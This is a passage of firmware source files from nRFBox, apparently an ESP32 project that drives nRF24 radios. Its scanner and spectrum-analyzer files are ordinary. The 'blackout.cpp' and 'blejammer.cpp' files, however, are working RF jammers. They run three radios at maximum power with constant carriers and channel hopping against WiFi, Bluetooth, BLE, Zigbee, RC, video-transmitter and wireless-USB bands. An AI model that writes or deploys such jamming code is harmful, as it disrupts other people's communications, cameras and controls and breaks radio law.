| 28 | menuSetup(); 29 | 30 | } 31 | 32 | void loop() { 33 | 34 | menuLoop(); 35 | 36 | } 37 | -------------------------------------------------------------------------------- /nRFBox/scanner.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "scanner.h" 8 | 9 | #define CE 9 10 | 11 | #define CHANNELS 64 12 | int ch[CHANNELS]; 13 | 14 | int line; 15 | char grey[] = " .:-=+*aRW"; 16 | 17 | extern Adafruit_NeoPixel pixels; 18 | 19 | #define _NRF24_CONFIG 0x00 20 | #define _NRF24_EN_AA 0x01 21 | #define _NRF24_RF_CH 0x05 22 | #define _NRF24_RF_SETUP 0x06 23 | #define _NRF24_RPD 0x09 24 | 25 | 26 | byte count; 27 | byte sensorArray[128]; 28 | byte drawHeight; 29 | 30 | char filled = 'F'; 31 | char drawDirection = 'R'; 32 | char slope = 'W'; 33 | 34 | 35 | byte getRegister(byte r) 36 | { 37 | byte c; 38 | 39 | PORTB &=~_BV(2); 40 | c = SPI.transfer(r&0x1F); 41 | c = SPI.transfer(0); 42 | PORTB |= _BV(2); 43 | 44 | return(c); 45 | } 46 | 47 | void setRegister(byte r, byte v) 48 | { 49 | PORTB &=~_BV(2); 50 | SPI.transfer((r&0x1F)|0x20); 51 | SPI.transfer(v); 52 | PORTB |= _BV(2); 53 | } 54 | 55 | void powerUp(void) 56 | { 57 | setRegister(_NRF24_CONFIG,getRegister(_NRF24_CONFIG)|0x02); 58 | delayMicroseconds(130); 59 | } 60 | 61 | void powerDown(void) 62 | { 63 | setRegister(_NRF24_CONFIG,getRegister(_NRF24_CONFIG)&~0x02); 64 | } 65 | 66 | void enable(void) 67 | { 68 | PORTB |= _BV(1); 69 | } 70 | 71 | void disable(void) 72 | { 73 | PORTB &=~_BV(1); 74 | } 75 | 76 | void setRX(void) 77 | { 78 | setRegister(_NRF24_CONFIG,getRegister(_NRF24_CONFIG)|0x01); 79 | enable(); 80 | delayMicroseconds(100); 81 | } 82 | 83 | void scanChannels(void) 84 | { 85 | disable(); 86 | for( int j=0 ; j<50 ; j++) 87 | { 88 | for( int i=0 ; i0 ) ch[i]++; 99 | } 100 | } 101 | } 102 | 103 | void outputChannels(void) 104 | { 105 | display.clearDisplay(); 106 | 107 | int norm = 0; 108 | 109 | for( int i=0 ; inorm ) norm = ch[i]; 111 | 112 | for( int i=0 ; i0 ) pos++; 120 | 121 | if( pos>9 ) pos = 9; 122 | 123 | ch[i] = 0; 124 | } 125 | 126 | display.setTextSize(2); 127 | display.setTextColor(WHITE); 128 | display.setCursor(90, 10); 129 | display.print(norm); 130 | 131 | 132 | display.drawLine(0, 0, 0, 32, WHITE); 133 | display.drawLine(80, 0, 80, 32, WHITE); 134 | 135 | for (count = 0; count < 40; count += 10) 136 | { 137 | display.drawLine(80, count, 75, count, WHITE); 138 | display.drawLine(0, count, 5, count, WHITE); 139 | pixels.setPixelColor(0, pixels.Color(5, 0, 0)); 140 | pixels.show(); 141 | } 142 | 143 | for (count = 10; count < 80; count += 10) 144 | { 145 | display.drawPixel(count, 0 , WHITE); 146 | display.drawPixel(count, 31 , WHITE); 147 | pixels.setPixelColor(0, pixels.Color(0, 0, 0)); 148 | pixels.show(); 149 | } 150 | 151 | 152 | drawHeight = map(norm, 0, 50, 0, 32); 153 | sensorArray[0] = drawHeight; 154 | 155 | for (count = 1; count <= 80; count++ ) 156 | { 157 | if (filled == 'D' || filled == 'd') 158 | { 159 | if (drawDirection == 'L' || drawDirection == 'l') 160 | { 161 | display.drawPixel(count, 32 - sensorArray[count - 1], WHITE); 162 | } 163 | else //else, draw dots from right to left 164 | { 165 | display.drawPixel(80 - count, 32 - sensorArray[count - 1], WHITE); 166 | } 167 | } 168 | 169 | else 170 | { 171 | if (drawDirection == 'L' || drawDirection == 'l') 172 | { 173 | if (slope == 'W' || slope == 'w') 174 | { 175 | display.drawLine(count, 32, count, 32 - sensorArray[count - 1], WHITE); 176 | } 177 | else 178 | { 179 | display.drawLine(count, 1, count, 32 - sensorArray[count - 1], WHITE); 180 | 181 | } 182 | } 183 | 184 | else 185 | { 186 | if (slope == 'W' || slope == 'w') 187 | { 188 | display.drawLine(80 - count, 32, 80 - count, 32 - sensorArray[count - 1], WHITE); 189 | } 190 | else 191 | { 192 | display.drawLine(80 - count, 1, 80 - count, 32 - sensorArray[count - 1], WHITE); 193 | } 194 | } 195 | } 196 | } 197 | 198 | display.display(); 199 | 200 | for (count = 80; count >= 2; count--) 201 | { 202 | sensorArray[count - 1] = sensorArray[count - 2]; 203 | } 204 | } 205 | 206 | 207 | void scannerSetup() { 208 | 209 | for (count = 0; count <= 128; count++) 210 | { 211 | sensorArray[count] = 0; 212 | } 213 | 214 | SPI.begin(); 215 | SPI.setDataMode(SPI_MODE0); 216 | SPI.setClockDivider(SPI_CLOCK_DIV2); 217 | SPI.setBitOrder(MSBFIRST); 218 | 219 | pinMode(CE,OUTPUT); 220 | disable(); 221 | 222 | powerUp(); 223 | 224 | setRegister(_NRF24_EN_AA,0x0); 225 | 226 | 227 | setRegister(_NRF24_RF_SETUP,0x0F); 228 | 229 | } 230 | 231 | 232 | void scannerLoop() { 233 | 234 | scanChannels(); 235 | 236 | outputChannels(); 237 | 238 | } 239 | -------------------------------------------------------------------------------- /nRFBox/scanner.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #ifndef scanner_H 7 | #define scanner_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | extern Adafruit_SSD1306 display; 16 | 17 | void scannerSetup(); 18 | void scannerLoop(); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /nRFBox_V2/analyzer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "analyzer.h" 8 | #include "setting.h" 9 | 10 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 11 | extern Adafruit_NeoPixel pixels; 12 | 13 | #define NRF24_CONFIG 0x00 14 | #define NRF24_EN_AA 0x01 15 | #define NRF24_RF_CH 0x05 16 | #define NRF24_RF_SETUP 0x06 17 | #define NRF24_RPD 0x09 18 | 19 | #define SCREEN_WIDTH 128 20 | #define SCREEN_HEIGHT 64 21 | 22 | #define N 128 23 | uint8_t values[N]; 24 | 25 | #define CE 5 26 | #define CSN 17 27 | 28 | #define CHANNELS 64 29 | int CHannel[CHANNELS]; 30 | 31 | 32 | byte getregister(byte r) { 33 | byte c; 34 | 35 | digitalWrite(CSN, LOW); 36 | SPI.transfer(r & 0x1F); 37 | c = SPI.transfer(0); 38 | digitalWrite(CSN, HIGH); 39 | 40 | return c; 41 | } 42 | 43 | void setregister(byte r, byte v) { 44 | digitalWrite(CSN, LOW); 45 | SPI.transfer((r & 0x1F) | 0x20); 46 | SPI.transfer(v); 47 | digitalWrite(CSN, HIGH); 48 | } 49 | 50 | void powerup(void) { 51 | setregister(NRF24_CONFIG, getregister(NRF24_CONFIG) | 0x02); 52 | delayMicroseconds(130); 53 | } 54 | 55 | void powerdown(void) { 56 | setregister(NRF24_CONFIG, getregister(NRF24_CONFIG) & ~0x02); 57 | } 58 | 59 | void ENable(void) { 60 | digitalWrite(CE, HIGH); 61 | } 62 | 63 | void DIsable(void) { 64 | digitalWrite(CE, LOW); 65 | } 66 | 67 | void setrx(void) { 68 | setregister(NRF24_CONFIG, getregister(NRF24_CONFIG) | 0x01); 69 | ENable(); 70 | delayMicroseconds(100); 71 | } 72 | 73 | void ScanChannels(void) { 74 | DIsable(); 75 | // for (int j = 0; j < 10; j++) { 76 | for (int i = 0; i < CHANNELS; i++) { 77 | setNeoPixelColour("purple"); 78 | setregister(NRF24_RF_CH, (128 * i) / CHANNELS); 79 | setrx(); 80 | delayMicroseconds(40); 81 | DIsable(); 82 | if (getregister(NRF24_RPD) > 0) CHannel[i]++; 83 | } 84 | setNeoPixelColour("0"); 85 | // } 86 | } 87 | 88 | 89 | void writeRegister(uint8_t reg, uint8_t value) { 90 | digitalWrite(CSN, LOW); 91 | SPI.transfer(reg | 0x20); 92 | SPI.transfer(value); 93 | digitalWrite(CSN, HIGH); 94 | } 95 | 96 | uint8_t readRegister(uint8_t reg) { 97 | digitalWrite(CSN, LOW); 98 | SPI.transfer(reg & 0x1F); 99 | uint8_t result = SPI.transfer(0x00); 100 | digitalWrite(CSN, HIGH); 101 | return result; 102 | } 103 | 104 | void setChannel(uint8_t CHannel) { 105 | writeRegister(NRF24_RF_CH, CHannel); 106 | } 107 | 108 | void powerUP() { 109 | uint8_t config = readRegister(NRF24_CONFIG); 110 | writeRegister(NRF24_CONFIG, config | 0x02); 111 | delay(5); 112 | } 113 | 114 | void powerDOWN() { 115 | uint8_t config = readRegister(NRF24_CONFIG); 116 | writeRegister(NRF24_CONFIG, config & ~0x02); 117 | } 118 | 119 | void startListening() { 120 | digitalWrite(CE, HIGH); 121 | } 122 | 123 | void stopListening() { 124 | digitalWrite(CE, LOW); 125 | } 126 | 127 | bool carrierDetected() { 128 | return readRegister(NRF24_RPD) & 0x01; 129 | } 130 | 131 | 132 | void analyzerSetup(){ 133 | 134 | Serial.begin(115200); 135 | 136 | esp_bt_controller_deinit(); 137 | esp_wifi_stop(); 138 | esp_wifi_deinit(); 139 | 140 | pinMode(CE, OUTPUT); 141 | pinMode(CSN, OUTPUT); 142 | 143 | SPI.begin(18, 19, 23, 17); 144 | SPI.setDataMode(SPI_MODE0); 145 | SPI.setFrequency(10000000); 146 | SPI.setBitOrder(MSBFIRST); 147 | 148 | digitalWrite(CSN, HIGH); 149 | digitalWrite(CE, LOW); 150 | 151 | DIsable(); 152 | 153 | powerUP(); 154 | writeRegister(NRF24_EN_AA, 0x00); 155 | writeRegister(NRF24_RF_SETUP, 0x0F); 156 | 157 | } 158 | 159 | void analyzerLoop(){ 160 | 161 | ScanChannels(); 162 | 163 | memset(values, 0, sizeof(values)); 164 | 165 | int n = 50; 166 | while (n--) { 167 | int i = N; 168 | while (i--) { 169 | setChannel(i); 170 | startListening(); 171 | delayMicroseconds(128); 172 | stopListening(); 173 | if (carrierDetected()) { 174 | ++values[i]; 175 | } 176 | } 177 | } 178 | 179 | u8g2.clearBuffer(); 180 | int barWidth = SCREEN_WIDTH / N; 181 | int x = 0; 182 | for (int i = 0; i < N; ++i) { 183 | int v = 63 - values[i] * 3; 184 | if (v < 0) { 185 | v = 0; 186 | } 187 | u8g2.drawVLine(x, v - 10, 64 - v); 188 | x += barWidth; 189 | } 190 | 191 | u8g2.setFont(u8g2_font_ncenB08_tr); 192 | u8g2.setCursor(0, 64); 193 | u8g2.print("1...5...10...25..50...80...128"); 194 | u8g2.sendBuffer(); 195 | 196 | //delay(50); 197 | 198 | } 199 | -------------------------------------------------------------------------------- /nRFBox_V2/analyzer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef analyzer_H 7 | #define analyzer_H 8 | 9 | #include 10 | #include 11 | #include "esp_bt.h" 12 | #include "esp_wifi.h" 13 | #include "neopixel.h" 14 | 15 | void analyzerSetup(); 16 | void analyzerLoop(); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /nRFBox_V2/blackout.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "blackout.h" 8 | #include "icon.h" 9 | 10 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 11 | 12 | #define CE_PIN_1 5 13 | #define CSN_PIN_1 17 14 | 15 | #define CE_PIN_2 16 16 | #define CSN_PIN_2 4 17 | 18 | #define CE_PIN_3 15 19 | #define CSN_PIN_3 2 20 | 21 | #define MODE_BUTTON 25 22 | #define MODE_BUTTON1 27 23 | #define MODE_BUTTON2 26 24 | 25 | RF24 radio_1(CE_PIN_1, CSN_PIN_1, 16000000); 26 | RF24 radio_2(CE_PIN_2, CSN_PIN_2, 16000000); 27 | RF24 radio_3(CE_PIN_3, CSN_PIN_3, 16000000); 28 | 29 | enum OperationMode {WiFi_MODULE, VIDEO_TX_MODULE, RC_MODULE, BLE_MODULE, Bluetooth_MODULE, USB_WIRELESS_MODULE, ZIGBEE_MODULE, NRF24_MODULE}; 30 | OperationMode current_Mode = WiFi_MODULE; 31 | 32 | enum Operation {DEACTIVE_MODE, ACTIVE_MODE }; 33 | Operation current = DEACTIVE_MODE; 34 | 35 | 36 | // Channel groups 37 | byte channelGroup_1[] = {2, 5, 8, 11}; 38 | byte channelGroup_2[] = {26, 29, 32, 35}; 39 | byte channelGroup_3[] = {80, 83, 86, 89}; 40 | 41 | // Protocol channel definitions 42 | const byte bluetooth_channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; 43 | const byte ble_channels[] = {2, 26, 80}; 44 | const byte WiFi_channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}; 45 | const byte usbWireless_channels[] = {40, 50, 60}; 46 | const byte videoTransmitter_channels[] = {70, 75, 80}; 47 | const byte rc_channels[] = {1, 3, 5, 7}; 48 | const byte zigbee_channels[] = {11, 15, 20, 25}; 49 | const byte nrf24_channels[] = {76, 78, 79}; 50 | 51 | volatile bool ChangeRequested = false; 52 | volatile bool ChangeRequested1 = false; 53 | volatile bool ChangeRequested2 = false; 54 | 55 | unsigned long lastPressTime = 0; 56 | const unsigned long debounceDelay = 200; 57 | 58 | 59 | void IRAM_ATTR handleButton() { 60 | unsigned long currentTime = millis(); 61 | if (currentTime - lastPressTime > debounceDelay) { 62 | ChangeRequested = true; 63 | lastPressTime = currentTime; 64 | } 65 | } 66 | 67 | void IRAM_ATTR handleButton1() { 68 | unsigned long currentTime = millis(); 69 | if (currentTime - lastPressTime > debounceDelay) { 70 | ChangeRequested1 = true; 71 | lastPressTime = currentTime; 72 | } 73 | } 74 | 75 | void IRAM_ATTR handleButton2() { 76 | unsigned long currentTime = millis(); 77 | if (currentTime - lastPressTime > debounceDelay) { 78 | if (current == DEACTIVE_MODE) { 79 | current = ACTIVE_MODE; 80 | } else { 81 | current = DEACTIVE_MODE; 82 | } 83 | lastPressTime = currentTime; 84 | } 85 | } 86 | 87 | void configure_Radio(RF24 &radio, const byte *channels, size_t size) { 88 | radio.setAutoAck(false); 89 | radio.stopListening(); 90 | radio.setRetries(0, 0); 91 | radio.setPALevel(RF24_PA_MAX, true); 92 | radio.setDataRate(RF24_2MBPS); 93 | radio.setCRCLength(RF24_CRC_DISABLED); 94 | radio.printPrettyDetails(); 95 | 96 | for (size_t i = 0; i < size; i++) { 97 | radio.setChannel(channels[i]); 98 | radio.startConstCarrier(RF24_PA_MAX, channels[i]); 99 | } 100 | } 101 | 102 | void initialize_MultiMode() { 103 | if (radio_1.begin()) { 104 | configure_Radio(radio_1, channelGroup_1, sizeof(channelGroup_1)); 105 | } 106 | if (radio_2.begin()) { 107 | configure_Radio(radio_2, channelGroup_2, sizeof(channelGroup_2)); 108 | } 109 | if (radio_3.begin()) { 110 | configure_Radio(radio_3, channelGroup_3, sizeof(channelGroup_3)); 111 | } 112 | } 113 | 114 | void initialize_Radios() { 115 | if (current == ACTIVE_MODE) { 116 | initialize_MultiMode(); 117 | } else if (current == DEACTIVE_MODE) { 118 | radio_1.powerDown(); 119 | radio_2.powerDown(); 120 | radio_3.powerDown(); 121 | delay(100); 122 | } 123 | } 124 | 125 | void update_OLED() { 126 | u8g2.clearBuffer(); 127 | u8g2.setFont(u8g2_font_5x8_tr); 128 | 129 | u8g2.setCursor(75, 7); 130 | if (current == ACTIVE_MODE) { 131 | u8g2.print("-ACTIVE-"); 132 | } else if (current == DEACTIVE_MODE) { 133 | u8g2.print("-DEACTIVE-"); 134 | } 135 | 136 | u8g2.setCursor(0, 12); 137 | u8g2.println("-------------------------------"); 138 | u8g2.setCursor(0, 7); 139 | //u8g2.print("Mode: "); 140 | u8g2.print("["); 141 | 142 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_arrow_left); 143 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_arrow_right); 144 | 145 | switch (current_Mode) { 146 | case WiFi_MODULE: 147 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_wifi_jammer); 148 | u8g2.print("WiFi"); 149 | break; 150 | case VIDEO_TX_MODULE: 151 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_cctv); 152 | u8g2.print("Video TX"); 153 | break; 154 | case RC_MODULE: 155 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_rc); 156 | u8g2.print("RC"); 157 | break; 158 | case BLE_MODULE: 159 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_ble_jammer); 160 | u8g2.print("BLE"); 161 | break; 162 | case Bluetooth_MODULE: 163 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_bluetooth_jammer); 164 | u8g2.print("Bluetooth"); 165 | break; 166 | case USB_WIRELESS_MODULE: 167 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_usb); 168 | u8g2.print("USB Wireless"); 169 | break; 170 | case ZIGBEE_MODULE: 171 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_zigbee); 172 | u8g2.print("Zigbee"); 173 | break; 174 | case NRF24_MODULE: 175 | u8g2.drawXBMP(0, 5, 128, 64, bitmap_nrf24); 176 | u8g2.print("NRF24"); 177 | break; 178 | } 179 | u8g2.print("]"); 180 | u8g2.sendBuffer(); 181 | } 182 | 183 | void checkMode() { 184 | if (ChangeRequested) { 185 | ChangeRequested = false; 186 | current_Mode = static_cast((current_Mode == 0) ? 7 : (current_Mode - 1)); 187 | update_OLED(); 188 | } else if (ChangeRequested1) { 189 | ChangeRequested1 = false; 190 | current_Mode = static_cast((current_Mode + 1) % 8); 191 | update_OLED(); 192 | } 193 | } 194 | 195 | void blackoutSetup() { 196 | Serial.begin(115200); 197 | 198 | esp_bt_controller_deinit(); 199 | esp_wifi_stop(); 200 | esp_wifi_deinit(); 201 | esp_wifi_disconnect(); 202 | 203 | pinMode(MODE_BUTTON, INPUT_PULLUP); 204 | pinMode(MODE_BUTTON1, INPUT_PULLUP); 205 | pinMode(MODE_BUTTON2, INPUT_PULLUP); 206 | attachInterrupt(digitalPinToInterrupt(MODE_BUTTON), handleButton, FALLING); 207 | attachInterrupt(digitalPinToInterrupt(MODE_BUTTON1), handleButton1, FALLING); 208 | attachInterrupt(digitalPinToInterrupt(MODE_BUTTON2), handleButton2, FALLING); 209 | 210 | initialize_Radios(); 211 | update_OLED(); 212 | } 213 | 214 | void blackoutLoop() { 215 | checkMode(); 216 | 217 | static Operation lastMode = DEACTIVE_MODE; 218 | 219 | if (current != lastMode) { 220 | lastMode = current; 221 | initialize_Radios(); 222 | update_OLED(); 223 | } 224 | 225 | if (current_Mode == BLE_MODULE) { 226 | int randomIndex = random(0, sizeof(ble_channels) / sizeof(ble_channels[0])); 227 | int channel = ble_channels[randomIndex]; 228 | radio_1.setChannel(channel); 229 | radio_2.setChannel(channel); 230 | radio_3.setChannel(channel); 231 | 232 | } else if (current_Mode == Bluetooth_MODULE) { 233 | int randomIndex = random(0, sizeof(bluetooth_channels) / sizeof(bluetooth_channels[0])); 234 | int channel = bluetooth_channels[randomIndex]; 235 | radio_1.setChannel(channel); 236 | radio_2.setChannel(channel); 237 | radio_3.setChannel(channel); 238 | 239 | }else if (current_Mode == WiFi_MODULE) { 240 | int randomIndex = random(0, sizeof(WiFi_channels) / sizeof(WiFi_channels[0])); 241 | int channel = WiFi_channels[randomIndex]; 242 | radio_1.setChannel(channel); 243 | radio_2.setChannel(channel); 244 | radio_3.setChannel(channel); 245 | 246 | }else if (current_Mode == USB_WIRELESS_MODULE) { 247 | int randomIndex = random(0, sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])); 248 | int channel = usbWireless_channels[randomIndex]; 249 | radio_1.setChannel(channel); 250 | radio_2.setChannel(channel); 251 | radio_3.setChannel(channel); 252 | 253 | }else if (current_Mode == VIDEO_TX_MODULE) { 254 | int randomIndex = random(0, sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])); 255 | int channel = videoTransmitter_channels[randomIndex]; 256 | radio_1.setChannel(channel); 257 | radio_2.setChannel(channel); 258 | radio_3.setChannel(channel); 259 | 260 | }else if (current_Mode == RC_MODULE) { 261 | int randomIndex = random(0, sizeof(rc_channels) / sizeof(rc_channels[0])); 262 | int channel = rc_channels[randomIndex]; 263 | radio_1.setChannel(channel); 264 | radio_2.setChannel(channel); 265 | radio_3.setChannel(channel); 266 | 267 | }else if (current_Mode == ZIGBEE_MODULE) { 268 | int randomIndex = random(0, sizeof(zigbee_channels) / sizeof(zigbee_channels[0])); 269 | int channel = zigbee_channels[randomIndex]; 270 | radio_1.setChannel(channel); 271 | radio_2.setChannel(channel); 272 | radio_3.setChannel(channel); 273 | 274 | }else if (current_Mode == NRF24_MODULE) { 275 | int randomIndex = random(0, sizeof(nrf24_channels) / sizeof(nrf24_channels[0])); 276 | int channel = nrf24_channels[randomIndex]; 277 | radio_1.setChannel(channel); 278 | radio_2.setChannel(channel); 279 | radio_3.setChannel(channel); 280 | } 281 | } 282 | -------------------------------------------------------------------------------- /nRFBox_V2/blackout.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef blackout_H 7 | #define blackout_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "neopixel.h" 15 | #include "esp_bt.h" 16 | #include "esp_wifi.h" 17 | #include "neopixel.h" 18 | 19 | void blackoutSetup(); 20 | void blackoutLoop(); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /nRFBox_V2/blejammer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "blejammer.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | 11 | #define CE_PIN_1 5 12 | #define CSN_PIN_1 17 13 | 14 | #define CE_PIN_2 16 15 | #define CSN_PIN_2 4 16 | 17 | #define CE_PIN_3 15 18 | #define CSN_PIN_3 2 19 | 20 | #define MODE_BUTTON 26 21 | 22 | RF24 radio1(CE_PIN_1, CSN_PIN_1, 16000000); 23 | RF24 radio2(CE_PIN_2, CSN_PIN_2, 16000000); 24 | RF24 radio3(CE_PIN_3, CSN_PIN_3, 16000000); 25 | 26 | enum OperationMode { DEACTIVE_MODE, BLE_MODULE, Bluetooth_MODULE }; 27 | OperationMode currentMode = DEACTIVE_MODE; 28 | 29 | int bluetooth_channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; 30 | int ble_channels[] = {2, 26, 80}; 31 | 32 | const byte BLE_channels[] = {2, 26, 80}; 33 | byte channelGroup1[] = {2, 5, 8, 11}; 34 | byte channelGroup2[] = {26, 29, 32, 35}; 35 | byte channelGroup3[] = {80, 83, 86, 89}; 36 | 37 | volatile bool modeChangeRequested = false; 38 | 39 | unsigned long lastJammingTime = 0; 40 | const unsigned long jammingInterval = 10; 41 | 42 | unsigned long lastButtonPressTime = 0; 43 | const unsigned long debounceDelay = 500; 44 | 45 | void IRAM_ATTR handleButtonPress() { 46 | unsigned long currentTime = millis(); 47 | if (currentTime - lastButtonPressTime > debounceDelay) { 48 | modeChangeRequested = true; 49 | lastButtonPressTime = currentTime; 50 | } 51 | } 52 | 53 | void configureRadio(RF24 &radio, const byte* channels, size_t size) { 54 | radio.setAutoAck(false); 55 | radio.stopListening(); 56 | radio.setRetries(0, 0); 57 | radio.setPALevel(RF24_PA_MAX, true); 58 | radio.setDataRate(RF24_2MBPS); 59 | radio.setCRCLength(RF24_CRC_DISABLED); 60 | radio.printPrettyDetails(); 61 | 62 | for (size_t i = 0; i < size; i++) { 63 | radio.setChannel(channels[i]); 64 | radio.startConstCarrier(RF24_PA_MAX, channels[i]); 65 | } 66 | } 67 | 68 | void initializeRadiosMultiMode() { 69 | if (radio1.begin()) { 70 | configureRadio(radio1, channelGroup1, sizeof(channelGroup1)); 71 | } 72 | if (radio2.begin()) { 73 | configureRadio(radio2, channelGroup2, sizeof(channelGroup2)); 74 | } 75 | if (radio3.begin()) { 76 | configureRadio(radio3, channelGroup3, sizeof(channelGroup3)); 77 | } 78 | } 79 | 80 | void initializeRadios() { 81 | if (currentMode == !DEACTIVE_MODE) { 82 | initializeRadiosMultiMode(); 83 | } else if (currentMode == DEACTIVE_MODE) { 84 | radio1.powerDown(); 85 | radio2.powerDown(); 86 | radio3.powerDown(); 87 | delay(100); 88 | } 89 | } 90 | 91 | void jammer(RF24 &radio, const byte* channels, size_t size) { 92 | const char text[] = "xxxxxxxxxxxxxxxx"; 93 | for (size_t i = 0; i < size; i++) { 94 | radio.setChannel(channels[i]); 95 | radio.write(&text, sizeof(text)); 96 | //delayMicroseconds(20); 97 | } 98 | } 99 | 100 | void updateOLED() { 101 | u8g2.clearBuffer(); 102 | u8g2.setFont(u8g2_font_ncenB08_tr); 103 | 104 | u8g2.setCursor(0, 10); 105 | u8g2.print("Mode "); 106 | u8g2.print(" ....... "); 107 | u8g2.setCursor(65, 10); 108 | u8g2.print("["); 109 | u8g2.print(currentMode == BLE_MODULE ? "BLE" : currentMode == Bluetooth_MODULE ? "Bluetooth" : "Deactive"); 110 | u8g2.print("]"); 111 | 112 | u8g2.setCursor(0, 35); 113 | u8g2.print("Radio 1: "); 114 | u8g2.setCursor(70, 35); 115 | u8g2.print(radio1.isChipConnected() ? "Active" : "Inactive"); 116 | 117 | u8g2.setCursor(0, 50); 118 | u8g2.print("Radio 2: "); 119 | u8g2.setCursor(70, 50); 120 | u8g2.print(radio2.isChipConnected() ? "Active" : "Inactive"); 121 | 122 | u8g2.setCursor(0, 64); 123 | u8g2.print("Radio 3: "); 124 | u8g2.setCursor(70, 64); 125 | u8g2.print(radio3.isChipConnected() ? "Active" : "Inactive"); 126 | 127 | u8g2.sendBuffer(); 128 | } 129 | 130 | void checkModeChange() { 131 | if (modeChangeRequested) { 132 | modeChangeRequested = false; 133 | currentMode = static_cast((currentMode + 1) % 3); 134 | initializeRadios(); 135 | updateOLED(); 136 | } 137 | } 138 | 139 | void blejammerSetup() { 140 | Serial.begin(115200); 141 | 142 | esp_bt_controller_deinit(); 143 | esp_wifi_stop(); 144 | esp_wifi_deinit(); 145 | esp_wifi_disconnect(); 146 | 147 | pinMode(MODE_BUTTON, INPUT_PULLUP); 148 | attachInterrupt(digitalPinToInterrupt(MODE_BUTTON), handleButtonPress, FALLING); 149 | 150 | initializeRadios(); 151 | updateOLED(); 152 | } 153 | 154 | void blejammerLoop() { 155 | checkModeChange(); 156 | 157 | if (currentMode == BLE_MODULE) { 158 | int randomIndex = random(0, sizeof(ble_channels) / sizeof(ble_channels[0])); 159 | int channel = ble_channels[randomIndex]; 160 | radio1.setChannel(channel); 161 | radio2.setChannel(channel); 162 | radio3.setChannel(channel); 163 | 164 | } else if (currentMode == Bluetooth_MODULE) { 165 | int randomIndex = random(0, sizeof(bluetooth_channels) / sizeof(bluetooth_channels[0])); 166 | int channel = bluetooth_channels[randomIndex]; 167 | radio1.setChannel(channel); 168 | radio2.setChannel(channel); 169 | radio3.setChannel(channel); 170 | } 171 | } 172 | -------------------------------------------------------------------------------- /nRFBox_V2/blejammer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef blejammer_H 7 | #define blejammer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "esp_bt.h" 15 | #include "esp_wifi.h" 16 | #include "neopixel.h" 17 | 18 | void blejammerSetup(); 19 | void blejammerLoop(); 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /nRFBox_V2/blescan.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "blescan.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | 11 | #define BUTTON_PIN_UP 26 12 | #define BUTTON_PIN_DOWN 33 13 | #define BUTTON_PIN_SELECT 27 14 | #define BUTTON_PIN_BACK 25 15 | 16 | BLEScan* scan; 17 | BLEScanResults results; 18 | 19 | int selectedIndex = 0; 20 | int displayStartIndex = 0; 21 | bool showDetails = false; 22 | unsigned long scanStartTime = 0; 23 | const unsigned long scanDuration = 5000; 24 | bool scanComplete = false; 25 | 26 | unsigned long lastDebounce = 0; 27 | unsigned long debounce_Delay = 200; 28 | 29 | void blescanSetup() { 30 | Serial.begin(115200); 31 | u8g2.setFont(u8g2_font_6x10_tr); 32 | 33 | BLEDevice::init(""); 34 | scan = BLEDevice::getScan(); 35 | scan->setActiveScan(true); 36 | 37 | pinMode(BUTTON_PIN_UP, INPUT_PULLUP); 38 | pinMode(BUTTON_PIN_DOWN, INPUT_PULLUP); 39 | pinMode(BUTTON_PIN_SELECT, INPUT_PULLUP); 40 | 